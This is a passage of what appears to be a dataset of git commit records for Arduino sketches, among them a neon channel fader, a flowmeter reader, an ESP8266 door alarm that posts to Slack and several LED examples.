code\/minimal_SAM\/minimal_SAM.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SAM' did not match any file(s) known to git\nerror: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/minimal_SAM\/minimal_SAM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9b2af9a7b23ada454bd53c54da619cf2f4301a8d","subject":"More control over fading etc","message":"More control over fading etc\n","repos":"Neon22\/arduino-tech22,Neon22\/arduino-tech22","old_file":"examples\/DigisparkTech22\/DigisparkTech22_1.ino","new_file":"examples\/DigisparkTech22\/DigisparkTech22_1.ino","new_contents":"#include <DigisparkTech22.h>\n\/*\n Digispark Tech22\n Controls up to 4 channels of Tech22 Neon supplies.\n In loop function - place on\/off\/fadeto\/setfade commands.\n Use:\n on(channel). \n - E.g. on(0) turns on channel 0.\n off(channel). \n - E.g. off(2) turns off channel 2.\n pause(time). \n - E.g. pause(2000) pauses for 2 seconds=2000 milliseconds\n pauserand(min, max). \n - E.g. pauserand(2000,5000) pauses for random time between 2 and 5 seconds.\n fadeto(channel, value, duration). \n - E.g. fadeto(2, 255, 5000) fades channel 2 from current value to full-on in 5 seconds.\n - E.g. fadeto(1, random(128,255), 3000) fades channel 1 over 3 seconds to a \n random value between 50% and 100% on.\n setfade(channel, value)\n - E.g. setfade(2, 128) sets channel 2 brightness to 50% instantly.\n *\/\n \n\/\/\/ defines in here:\nbyte CH0 = 0;\nbyte CH1 = 1;\nbyte CH2 = 2;\nbyte CH3 = 3;\nbyte CHANNELS[] = {CH0,CH1,CH2,CH3};\n\/\/ this setup routine runs once when you reset.\nvoid setup() { \n DigisparkTech22Begin();\n} \n\n\n\/\/-------------------\n\/\/ put sequence in here\n\nvoid loop () {\n \/\/ all off to start\n off(0);\n off(1);\n off(2);\n off(3);\n int i;\n \/\/ Main loop:\n while(1) {\n \/\/ On in seq 1..4\n fadeto(CH0, 255, 500);\n pauserand(1000,5000);\n fadeto(CH1, 255, 500);\n pauserand(1000,5000);\n fadeto(CH2, 255, 500);\n pauserand(1000,5000);\n fadeto(CH3, 255, 500);\n pauserand(1000,5000);\n \/\/ off in seq 1..4\n fadeto(CH0, 0, 500);\n pauserand(1000,5000);\n fadeto(CH1, 0, 500);\n pauserand(1000,5000);\n fadeto(CH2, 0, 500);\n pauserand(1000,5000);\n fadeto(CH3, 0, 500);\n pauserand(1000,5000);\n \/\/on\/off in seq 1,3,2,4\n i=0;\n while (i < 4) {\n fadeto(CH0, 255, 500);\n pauserand(1000,5000);\n fadeto(CH0, 0, 500);\n fadeto(CH2, 255, 500);\n pauserand(1000,5000);\n fadeto(CH2, 0, 500);\n fadeto(CH1, 255, 500);\n pauserand(1000,5000);\n fadeto(CH1, 0, 500);\n fadeto(CH3, 255, 500);\n pauserand(1000,5000);\n fadeto(CH3, 0, 500);\n i++;\n }\n }\n}\n\n\/\/-------------------------------------\n\/\/ support functions to switch on, off, pause, and fadteto, setfade over time\nvoid on(byte channel) {\n DigisparkTech22(CHANNELS[channel], 255);\n}\n\nvoid off(byte channel) {\n DigisparkTech22(CHANNELS[channel], 0);\n}\n\nvoid pause(int millisec) {\n DigisparkTech22Delay(millisec);\n}\n\nvoid pauserand(int min_ms, int max_ms) {\n DigisparkTech22Delay(random(min_ms, max_ms));\n}\n\nvoid setfade(byte channel, int val) {\n DigisparkTech22(CHANNELS[channel], val);\n}\n\nvoid fadeto(byte channel, int val, int dur) {\n int i;\n int current = DigisparkTech22Read(CHANNELS[channel]);\n int dly = (dur\/100 * 64) \/ abs(current-val+1); \/\/+1 to avoid divide zero error\n if (current < val) {\n \/\/fading up from current to val\n for (i = current; i < val; i++) {\n DigisparkTech22(CHANNELS[channel], i);\n DigisparkTech22Delay(dly);\n }\n }\n else { \/\/ fading down from current to val\n for (i = current; i >= val; i--) {\n DigisparkTech22(CHANNELS[channel], i);\n DigisparkTech22Delay(dly);\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DigisparkTech22\/DigisparkTech22_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c742a73734013532045a92b3b1ea551debb312e2","subject":"Create flowmeter.ino","message":"Create flowmeter.ino","repos":"peninquen\/PulseSensor-Arduino-library","old_file":"flowmeter.ino","new_file":"flowmeter.ino","new_contents":"\/**********************************************************************\/\n\/* PulseSensor library\n\/* a class to control a pulse sensor connected to one of the pins\n\/* attached to one of the external interrupt.\n\/* version 0.2 BETA 06\/09\/2015\n\/* Author: Jaime Garc\u00eda @peninquen\n\/* Licence: Released for public use.\n\/*\n\/**********************************************************************\/\n\/*\nEFFECT HALL FLOWMETER\nTECHNICAL DETAILS\n\n Electrical:\nWorking Voltage: 5 to 18VDC\nMax current draw: 15mA @ 5V\nWorking Flow Rate: 1 to 30 Liters\/Minute\nWorking Temperature range: -25 to 80\u00b0C\nWorking Humidity Range: 35%-80% RH\nMaximum water pressure: 2.0 MPa\nOutput duty cycle: 50% +-10%\nOutput rise time: 0.04us\nOutput fall time: 0.18us\nFlow rate pulse characteristics: Frequency (Hz) = 7.5 * Flow rate (L\/min)\nPulses per Liter: 450\nDurability: minimum 300,000 cycles\nMechanical:\n1\/2\" NPS nominal pipe connections, 0.78\" outer diameter, 1\/2\" of thread\nSize: 2.5\" x 1.4\" x 1.4\"\n*\/\n\/\/#include \"Arduino.h\"\n\n#include \"PulseSensor.h\"\n\n\n#define REFRESH_INTERVAL 1000 \/\/ refresh time, 1\/2 second\n#define WRITE_INTERVAL 5000 \/\/ values send to serial port, 3 seconds (3 * 1000)\n#define PULSE_PIN 18 \/\/ D3 on ARDUINO UNO & MEGA, D2 LEONARDO \/\/ conect external pull up resistor 10 Kohm on input pin\n#define PULSES_SEC_2_LITERS_MINUTE 7.5 \/\/ from pulses\/second to liters\/minute\n#define PULSES_2_LITERS 450 \/\/ from pulses to liters\nPulseSensor flowmeter; \/\/ instance to collect data\n\/\/variables to process and send values\nfloat flowRate;\nfloat maxRate;\nfloat minRate;\nfloat acumFlow;\nfloat lastAcumFlow;\nboolean firstData;\n\nunsigned long previousMillis = 0;\nunsigned long currentMillis = 0;\n\n\nvoid setup() {\n Serial.begin(9600);\n delay(1000);\n flowmeter.begin(PULSE_PIN, REFRESH_INTERVAL, PULSES_SEC_2_LITERS_MINUTE, PULSES_2_LITERS);\n Serial.println(\"time(s), average flowrate(l\/min), max rate, min rate, volume(liters)\");\n\n firstData = false;\n flowRate = 0;\n maxRate = 0;\n minRate = 0;\n acumFlow = 0;\n}\n\nvoid loop() {\n sei();\n if (flowmeter.available()) {\n flowRate = flowmeter.read();\n if (!firstData) {\n if (maxRate < flowRate) maxRate = flowRate;\n if (minRate > flowRate) minRate = flowRate;\n }\n else {\n maxRate = flowRate;\n minRate = flowRate;\n firstData = false;\n }\n }\n\n currentMillis = millis();\n if (currentMillis - previousMillis >= WRITE_INTERVAL) {\n previousMillis = currentMillis;\n acumFlow = flowmeter.readAcum();\n\n flowRate = (acumFlow - lastAcumFlow) * 60 * 1000 \/ WRITE_INTERVAL;\n lastAcumFlow = acumFlow;\n firstData = true;\n\n Serial.print(currentMillis \/ 1000);\n Serial.print(\",\");\n Serial.print(flowRate);\n Serial.print(\",\");\n Serial.print(maxRate);\n Serial.print(\",\");\n Serial.print(minRate);\n Serial.print(\",\");\n Serial.println(acumFlow);\n\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'flowmeter.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0f6e34271ea9f8afa5333be1aa1b190b2db2e2a0","subject":"Delay added after setting motor speed to allow it to get to speed and electronics to stabilize before testing analog measurements. Just characterized waveforms -- everything looks good!","message":"Delay added after setting motor speed to allow it to get to speed and electronics to stabilize before testing analog measurements. Just characterized waveforms -- everything looks good!\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dd3abb604fa45a20154476b5df871cefb16599b9","subject":"added small changes to angledrive.ino. Still a few bugs","message":"added small changes to angledrive.ino. Still a few bugs\n","repos":"sherrardTr4129\/SortME","old_file":"arduino code\/AngleDrive\/AngleDrive.ino","new_file":"arduino code\/AngleDrive\/AngleDrive.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/AngleDrive\/AngleDrive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"969dc4276a1d319ccb03a128df5fd85566e38aa9","subject":"door alarm to slack","message":"door alarm to slack\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_76-doorboot\/_76-doorboot.ino","new_file":"_76-doorboot\/_76-doorboot.ino","new_contents":"\/\/ slackbot testing using https:\/\/github.com\/urish\/arduino-slack-bot\n\/**\n Arduino Real-Time Slack Bot\n Copyright (C) 2016, Uri Shaked.\n Licensed under the MIT License\n*\/\n\n\/*\n modified by chaeplin @ gmail.com\n *\/\n\n#include <Arduino.h>\n#include <ESP8266WiFi.h>\n#include <WiFiClientSecure.h>\n#include <ESP8266HTTPClient.h>\n#include <WebSocketsClient.h>\n#include <ArduinoJson.h>\n\nextern \"C\" {\n#include \"user_interface.h\"\n}\n\n#include \"\/usr\/local\/src\/ap_setting.h\"\n#include \"\/usr\/local\/src\/slack_door_setting.h\"\n\n\/\/ slack.com : Expires: Saturday, 2 February 2019 at 08:59:59 Korean Standard Time\nconst char* api_fingerprint = \"AC 95 5A 58 B8 4E 0B CD B3 97 D2 88 68 F5 CA C1 0A 81 E3 6E\";\n\n#define DOOR_PIN 14\n\n\n\/\/#define SLACK_BOT_TOKEN \"put-your-slack-token-here\"\n\/\/#define SLACK_CHANNEL \"xxxxxx\"\n\/\/#define SLACK_USER \"xxxxxxx\"\n\/\/#define SLACK_TEAM \"xxxxxx\"\n\n\/\/#define WIFI_SSID \"wifi-name\"\n\/\/#define WIFI_PASSWORD \"wifi-password\"\n\nWiFiClientSecure sslclient;\nWebSocketsClient webSocket;\n\nlong nextCmdId = 1;\nbool connected = false;\n\nvolatile bool bdoor_isr;\nbool door_status;\nvolatile uint32_t door_interuptCount = 0;\nuint32_t prev_interuptCount = 0;\n\nvoid ICACHE_RAM_ATTR door_isr() {\n if (bdoor_isr == false) {\n door_interuptCount++;\n bdoor_isr = true;\n }\n}\n\n\nvoid sendCheck()\n{\n DynamicJsonBuffer jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n root[\"type\"] = \"message\";\n root[\"id\"] = nextCmdId++;\n root[\"channel\"] = SLACK_CHANNEL;\n\n String msg = \"door status : \";\n if (door_status) {\n msg += \"open\";\n } else {\n msg += \"closed\";\n }\n\n root[\"text\"] = msg.c_str();\n String json;\n root.printTo(json);\n webSocket.sendTXT(json);\n}\n\n\/**\n Sends a ping message to Slack. Call this function immediately after establishing\n the WebSocket connection, and then every 5 seconds to keep the connection alive.\n*\/\nvoid sendPing() \n{\n DynamicJsonBuffer jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n root[\"type\"] = \"ping\";\n root[\"id\"] = nextCmdId++;\n String json;\n root.printTo(json);\n webSocket.sendTXT(json);\n}\n\nvoid sendHello()\n{\n DynamicJsonBuffer jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n root[\"type\"] = \"message\";\n root[\"id\"] = nextCmdId++;\n root[\"channel\"] = SLACK_CHANNEL;\n root[\"text\"] = \"Hello world\";\n String json;\n root.printTo(json);\n webSocket.sendTXT(json);\n}\n\n\nvoid ICACHE_RAM_ATTR processSlackMessage(String receivedpayload) \n{\n char json[] = \"{\\\"type\\\":\\\"message\\\",\\\"channel\\\":\\\"XXXXXXXX\\\",\\\"user\\\":\\\"XXXXXXXX\\\",\\\"text\\\":\\\"xxxxxxxxxxxx\\\",\\\"ts\\\":\\\"1491047008.621282\\\",\\\"source_team\\\":\\\"XXXXXXXX\\\",\\\"team\\\":\\\"XXXXXXXX\\\"}\";\n receivedpayload.toCharArray(json, 1204);\n StaticJsonBuffer<1024> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(json);\n\n if (!root.success()) {\n Serial.println(\"root failed\");\n return;\n }\n if (root.containsKey(\"text\"))\n {\n const char* text = root[\"text\"];\n Serial.printf(\"[Processing] text: %s\\n\", text);\n\n if (String(text) == \"check\")\n {\n sendCheck();\n }\n\n }\n}\n\n\/**\n Called on each web socket event. Handles disconnection, and also\n incoming messages from slack.\n*\/\nvoid webSocketEvent(WStype_t type, uint8_t *payload, size_t len) \n{\n switch (type) {\n case WStype_DISCONNECTED:\n Serial.printf(\"[WebSocket] Disconnected :-( \\n\");\n connected = false;\n break;\n\n case WStype_CONNECTED:\n Serial.printf(\"[WebSocket] Connected to: %s\\n\", payload);\n sendPing();\n webSocket.loop();\n sendHello();\n break;\n\n case WStype_TEXT:\n Serial.printf(\"[WebSocket] Message: %s\\n\", payload);\n \n String receivedpayload;\n for (int i = 0; i < len; i++)\n {\n receivedpayload += (char)payload[i];\n }\n if (receivedpayload.startsWith(\"{\\\"type\\\":\\\"message\"))\n {\n if (receivedpayload.indexOf(SLACK_CHANNEL) != -1 &&\n receivedpayload.indexOf(SLACK_USER) != -1 &&\n receivedpayload.indexOf(SLACK_TEAM) != -1 )\n {\n processSlackMessage(receivedpayload);\n }\n }\n break;\n }\n}\n\n\/**\n Establishes a bot connection to Slack:\n 1. Performs a REST call to get the WebSocket URL\n 2. Conencts the WebSocket\n Returns true if the connection was established successfully.\n*\/\nbool connectToSlack() \n{\n \/\/ Step 1: Find WebSocket address via RTM API (https:\/\/api.slack.com\/methods\/rtm.start)\n HTTPClient http;\n String uri_to_post = \"\/api\/rtm.start?token=\";\n uri_to_post += SLACK_BOT_TOKEN;\n\n http.begin(\"slack.com\", 443, uri_to_post, api_fingerprint);\n int httpCode = http.GET();\n if (httpCode != HTTP_CODE_OK) \n {\n Serial.printf(\"HTTP GET failed with code %d\\n\", httpCode);\n return false;\n }\n\n WiFiClient *client = http.getStreamPtr();\n client->find(\"wss:\\\\\/\\\\\/\");\n String host = client->readStringUntil('\\\\');\n String path = client->readStringUntil('\"');\n path.replace(\"\\\\\/\", \"\/\");\n\n \/\/ Step 2: Open WebSocket connection and register event handler\n Serial.println(\"WebSocket Host=\" + host + \" Path=\" + path);\n webSocket.beginSSL(host, 443, path, \"\", \"\");\n webSocket.onEvent(webSocketEvent);\n return true;\n}\n\nvoid setup() {\n Serial.begin(115200);\n \/\/Serial.setDebugOutput(true);\n\n\n pinMode(DOOR_PIN, INPUT_PULLUP);\n bdoor_isr = false;\n attachInterrupt(DOOR_PIN, door_isr, CHANGE);\n\n\n WiFi.mode(WIFI_STA);\n WiFi.begin(WIFI_SSID, WIFI_PASSWORD);\n while (WiFi.status() != WL_CONNECTED) \n {\n delay(100);\n }\n\n configTime(3 * 3600, 0, \"pool.ntp.org\", \"time.nist.gov\");\n}\n\nunsigned long lastPing = 0;\n\n\/**\n Sends a ping every 5 seconds, and handles reconnections\n*\/\nvoid loop() \n{\n webSocket.loop();\n\n if (bdoor_isr) {\n door_status = digitalRead(DOOR_PIN);\n Serial.print(\"[door_status] ---> bdoor_isr detected : \");\n Serial.print(door_status);\n Serial.print(\" door_interuptCount : \");\n Serial.println(door_interuptCount);\n sendCheck();\n bdoor_isr = false;\n }\n\n if (connected) {\n \/\/ Send ping every 5 seconds, to keep the connection alive\n if (millis() - lastPing > 5000) \n {\n sendPing();\n lastPing = millis();\n }\n } \n else \n {\n \/\/ Try to connect \/ reconnect to slack\n connected = connectToSlack();\n if (!connected) \n {\n delay(500);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_76-doorboot\/_76-doorboot.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"6d23f8e292578a2f78ffbff3df4e7b60cc3b2b66","subject":"Create change_color_with_button.ino","message":"Create change_color_with_button.ino","repos":"marmilicious\/FastLED_examples","old_file":"change_color_with_button.ino","new_file":"change_color_with_button.ino","new_contents":"\/\/***************************************************************\n\/\/ The whole strip will show the same color. When the button\n\/\/ is pressed and held down the strip will cycle through the\n\/\/ rainbow. Release the button to stop on a new color.\n\/\/\n\/\/ This is how the button is wired for this example:\n\/\/ http:\/\/i.imgur.com\/hOgQwjX.jpg\n\/\/\n\/\/ Marc Miller, Jan 2019\n\/\/***************************************************************\n\n\n\/\/---------------------------------------------------------------\n\/\/ This sketch uses JChristensen's Button Library from:\n\/\/ https:\/\/github.com\/JChristensen\/Button\n\/\/\n#include \"Button.h\" \/\/ Include the Button library\n\n\/\/ Set the digital pin for the pushbutton, and declare the button\nconst uint8_t ButtonPin = 4;\nButton Push_Button(ButtonPin, true, true, 100);\n\n\n\/\/---------------------------------------------------------------\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32\nCRGB leds[NUM_LEDS];\n#define BRIGHTNESS 128\n\nuint8_t hue;\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(1500); \/\/ Startup delay\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop()\n{\n readbutton(); \/\/ check the button to see if it's pressed\n\n fill_solid( leds, NUM_LEDS, CHSV(hue,255,255) ); \/\/set color of pixels\n\n FastLED.show(); \/\/ display the pixels\n\n}\/\/end_main_loop\n\n\n\/\/---------------------------------------------------------------\n\/\/Check the button and set the appropriate flag\nvoid readbutton() {\n Push_Button.read(); \/\/ check the state of the button\n\n if(Push_Button.isPressed()) {\n \/\/ To make the color change faster when the button is\n \/\/ held down, you can either reduce the value of\n \/\/ EVERY_N_MILLISECONDS, or you can add a larger value\n \/\/ to hue so it increments faster.\n \/\/ You can also subtract a value from hue to cycle\n \/\/ through the color wheel in the oposite direction.\n\n EVERY_N_MILLISECONDS(20) {\n hue = hue + 1; \/\/can be either + or - some value\n }\n }\n}\/\/end_readbutton\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'change_color_with_button.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"339a5cb2c9f41c451aa738678d23596ebe36cdea","subject":"Add example of a custom function in serial","message":"Add example of a custom function in serial\n","repos":"eduardoklosowski\/vdlkino,eduardoklosowski\/vdlkino","old_file":"examples\/SerialCustom\/SerialCustom.ino","new_file":"examples\/SerialCustom\/SerialCustom.ino","new_contents":"#include \"VdlkinoSerial.h\"\n\nVdlkinoSerial vdlkino(14, 6, &Serial);\n\nuint16_t get_analog_byte(void *block) {\n VdlkinoBlock *vblock = (VdlkinoBlock*) block;\n return map(analogRead(vblock->pin), 0, 1023, 0, 255);\n}\n\nvoid setup() {\n Serial.begin(9600);\n vdlkino.operations[8] = &get_analog_byte;\n}\n\nvoid loop() {\n vdlkino.run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SerialCustom\/SerialCustom.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"27ec02189502418189737c8467935b6093d34165","subject":"Add a simple example sketch with many explanatory comments","message":"Add a simple example sketch with many explanatory comments\n","repos":"gregersn\/Adafruit_NeoPixel,gregersn\/Adafruit_NeoPixel","old_file":"examples\/simple\/simpleneopixelring.ino","new_file":"examples\/simple\/simpleneopixelring.ino","new_contents":"\/*\nNeoPixel Ring simple sketch (c) 2013 Shae Erisson\nreleased under the GPLv3 license to match the rest of the AdaFruit NeoPixel library\n*\/\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR_ATtiny85__ \/\/ Trinket, Gemma, etc.\n #include <avr\/power.h>\n#endif\n\n\/\/ Which pin on the FLORA is connected to the NeoPixel ring?\n#define PIN 6\n\n\/\/ We're using only one ring with 16 NeoPixel\n#define NUMPIXELS 16\n\n\/\/ When we setup the NeoPixel library, we tell it how many pixels, and which pin to use to send signals.\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\nint delayval = 500; \/\/ delay for half a second\n\nvoid setup() {\n#ifdef __AVR_ATtiny85__ \/\/ Trinket, Gemma, etc.\n if(F_CPU == 16000000) clock_prescale_set(clock_div_1);\n \/\/ Seed random number generator from an unused analog input:\n randomSeed(analogRead(2));\n#else\n randomSeed(analogRead(A0));\n#endif\n pixels.begin(); \/\/ This initializes the NeoPixel library.\n}\n\nvoid loop() {\n \/\/ for one ring of 16, the first NeoPixel is 0, second is 1, all the way up to 15\n for(int i=0;i<NUMPIXELS;i++){\n \/\/ pixels.Color takes RGB values, from 0,0,0 up to 255,255,255\n pixels.setPixelColor(i,pixels.Color(0,150,0)); \/\/ we choose green\n pixels.show(); \/\/ this sends the value once the color has been set\n delay(delayval);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/simple\/simpleneopixelring.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e5ea2174290e78e4875f610db6077be75d39c80e","subject":"Added Michael Shiloh's WifiSignalStrengthIndicator example","message":"Added Michael Shiloh's WifiSignalStrengthIndicator example\n","repos":"laylthe\/Arduino,adamkh\/Arduino,gonium\/Arduino,mc-hamster\/esp8266-Arduino,tbowmo\/Arduino,eduardocasarin\/Arduino,adamkh\/Arduino,wayoda\/Arduino,KlaasDeNys\/Arduino,jamesrob4\/Arduino,Cloudino\/Arduino,ForestNymph\/Arduino_sources,raimohanska\/Arduino,zaiexx\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tomkrus007\/Arduino,danielchalef\/Arduino,snargledorf\/Arduino,ccoenen\/Arduino,pdNor\/Arduino,pdNor\/Arduino,jaimemaretoli\/Arduino,rcook\/DesignLab,onovy\/Arduino,myrtleTree33\/Arduino,damellis\/Arduino,fungxu\/Arduino,vbextreme\/Arduino,HCastano\/Arduino,KlaasDeNys\/Arduino,paulmand3l\/Arduino,eddyst\/Arduino-SourceCode,spapadim\/Arduino,gurbrinder\/Arduino,arduino-org\/Arduino,scdls\/Arduino,gestrem\/Arduino,eduardocasarin\/Arduino,eddyst\/Arduino-SourceCode,arduino-org\/Arduino,ricklon\/Arduino,ari-analytics\/Arduino,tskurauskas\/Arduino,ashwin713\/Arduino,byran\/Arduino,adamkh\/Arduino,chaveiro\/Arduino,adamkh\/Arduino,andrealmeidadomingues\/Arduino,adafruit\/ESP8266-Arduino,damellis\/Arduino,laylthe\/Arduino,OpenDevice\/Arduino,KlaasDeNys\/Arduino,garci66\/Arduino,gurbrinder\/Arduino,spapadim\/Arduino,andyvand\/Arduino-1,ForestNymph\/Arduino_sources,bigjosh\/Arduino,ektor5\/Arduino,mateuszdw\/Arduino,andyvand\/Arduino-1,Chris--A\/Arduino,Cloudino\/Arduino,koltegirish\/Arduino,jabezGit\/Arduino,jaehong\/Xmegaduino,nandojve\/Arduino,xxxajk\/Arduino-1,ricklon\/Arduino,lulufei\/Arduino,PeterVH\/Arduino,plaintea\/esp8266-Arduino,andyvand\/Arduino-1,ogahara\/Arduino,jaimemaretoli\/Arduino,ccoenen\/Arduino,zederson\/Arduino,lulufei\/Arduino,piersoft\/esp8266-Arduino,garci66\/Arduino,tannewt\/Arduino,wilhelmryan\/Arduino,radut\/Arduino,PaoloP74\/Arduino,gestrem\/Arduino,wayoda\/Arduino,toddtreece\/esp8266-Arduino,wayoda\/Arduino,NaSymbol\/Arduino,jaimemaretoli\/Arduino,jaimemaretoli\/Arduino,zederson\/Arduino,tannewt\/Arduino,wdoganowski\/Arduino,smily77\/Arduino,ektor5\/Arduino,andrealmeidadomingues\/Arduino,tommyli2014\/Arduino,shiitakeo\/Arduino,probonopd\/Arduino,shannonshsu\/Arduino,vbextreme\/Arduino,me-no-dev\/Arduino-1,adafruit\/ESP8266-Arduino,OpenDevice\/Arduino,tomkrus007\/Arduino,mboufos\/esp8266-Arduino,bsmr-arduino\/Arduino,mattvenn\/Arduino,ektor5\/Arduino,tommyli2014\/Arduino,arunkuttiyara\/Arduino,ccoenen\/Arduino,damellis\/Arduino,karlitxo\/Arduino,OpenDevice\/Arduino,scdls\/Arduino,mateuszdw\/Arduino,tomkrus007\/Arduino,tbowmo\/Arduino,stevemarple\/Arduino-org,ThoughtWorksIoTGurgaon\/Arduino,lulufei\/Arduino,wayoda\/Arduino,weera00\/Arduino,UDOOboard\/Arduino,stickbreaker\/Arduino,NicoHood\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ogahara\/Arduino,NaSymbol\/Arduino,tskurauskas\/Arduino,Alfredynho\/AgroSis,Gourav2906\/Arduino,adafruit\/ESP8266-Arduino,scdls\/Arduino,leftbrainstrain\/Arduino-ESP8266,sanyaade-iot\/Arduino-1,bigjosh\/Arduino,Chris--A\/Arduino,niggor\/Arduino_cc,cscenter\/Arduino,stevemayhew\/Arduino,noahchense\/Arduino-1,Cloudino\/Arduino,sanyaade-iot\/Arduino-1,ari-analytics\/Arduino,plaintea\/esp8266-Arduino,nandojve\/Arduino,piersoft\/esp8266-Arduino,aichi\/Arduino-2,lukeWal\/Arduino,Cloudino\/Arduino,OpenDevice\/Arduino,lukeWal\/Arduino,adamkh\/Arduino,nkolban\/Arduino,UDOOboard\/Arduino,mc-hamster\/esp8266-Arduino,HCastano\/Arduino,myrtleTree33\/Arduino,nkolban\/Arduino,mattvenn\/Arduino,gestrem\/Arduino,stevemayhew\/Arduino,PaoloP74\/Arduino,andrealmeidadomingues\/Arduino,rcook\/DesignLab,stevemarple\/Arduino-org,jaehong\/Xmegaduino,ikbelkirasan\/Arduino,niggor\/Arduino_cc,spapadim\/Arduino,koltegirish\/Arduino,lulufei\/Arduino,gonium\/Arduino,KlaasDeNys\/Arduino,benwolfe\/esp8266-Arduino,toddtreece\/esp8266-Arduino,vbextreme\/Arduino,ikbelkirasan\/Arduino,bsmr-arduino\/Arduino,jmgonzalez00449\/Arduino,byran\/Arduino,plaintea\/esp8266-Arduino,gonium\/Arduino,stickbreaker\/Arduino,zederson\/Arduino,byran\/Arduino,piersoft\/esp8266-Arduino,tskurauskas\/Arduino,niggor\/Arduino_cc,paulmand3l\/Arduino,PeterVH\/Arduino,PeterVH\/Arduino,noahchense\/Arduino-1,me-no-dev\/Arduino-1,bsmr-arduino\/Arduino,ntruchsess\/Arduino-1,karlitxo\/Arduino,NicoHood\/Arduino,acosinwork\/Arduino,lulufei\/Arduino,wilhelmryan\/Arduino,bsmr-arduino\/Arduino,mboufos\/esp8266-Arduino,nandojve\/Arduino,stevemarple\/Arduino-org,vbextreme\/Arduino,gonium\/Arduino,stevemarple\/Arduino-org,danielchalef\/Arduino,raimohanska\/Arduino,kidswong999\/Arduino,tomkrus007\/Arduino,eddyst\/Arduino-SourceCode,jomolinare\/Arduino,paulo-raca\/ESP8266-Arduino,wayoda\/Arduino,tannewt\/Arduino,stevemarple\/Arduino-org,scdls\/Arduino,niggor\/Arduino_cc,Protoneer\/Arduino,majenkotech\/Arduino,wayoda\/Arduino,kidswong999\/Arduino,gonium\/Arduino,gberl001\/Arduino,me-no-dev\/Arduino-1,mateuszdw\/Arduino,mboufos\/esp8266-Arduino,chaveiro\/Arduino,nkolban\/Arduino,eggfly\/arduino,PaoloP74\/Arduino,ntruchsess\/Arduino-1,gestrem\/Arduino,damellis\/Arduino,zederson\/Arduino,SmartArduino\/Arduino-1,Chris--A\/Arduino,Chris--A\/Arduino,shannonshsu\/Arduino,lukeWal\/Arduino,weera00\/Arduino,onovy\/Arduino,PaoloP74\/Arduino,sanyaade-iot\/Arduino-1,NicoHood\/Arduino,NaSymbol\/Arduino,stevemarple\/Arduino-org,myrtleTree33\/Arduino,ikbelkirasan\/Arduino,eeijcea\/Arduino-1,ektor5\/Arduino,arduino-org\/Arduino,Chris--A\/Arduino,raimohanska\/Arduino,EmuxEvans\/Arduino,fungxu\/Arduino,arunkuttiyara\/Arduino,andyvand\/Arduino-1,plinioseniore\/Arduino,Chris--A\/Arduino,Gourav2906\/Arduino,radut\/Arduino,arunkuttiyara\/Arduino,onovy\/Arduino,ari-analytics\/Arduino,henningpohl\/Arduino,smily77\/Arduino,EmuxEvans\/Arduino,bigjosh\/Arduino,nandojve\/Arduino,rcook\/DesignLab,bigjosh\/Arduino,gberl001\/Arduino,snargledorf\/Arduino,eeijcea\/Arduino-1,ogferreiro\/Arduino,tomkrus007\/Arduino,karlitxo\/Arduino,lulufei\/Arduino,gestrem\/Arduino,ashwin713\/Arduino,snargledorf\/Arduino,probonopd\/Arduino,karlitxo\/Arduino,wayoda\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,wdoganowski\/Arduino,Alfredynho\/AgroSis,wilhelmryan\/Arduino,mattvenn\/Arduino,shannonshsu\/Arduino,ForestNymph\/Arduino_sources,Cloudino\/Cloudino-Arduino-IDE,radut\/Arduino,SmartA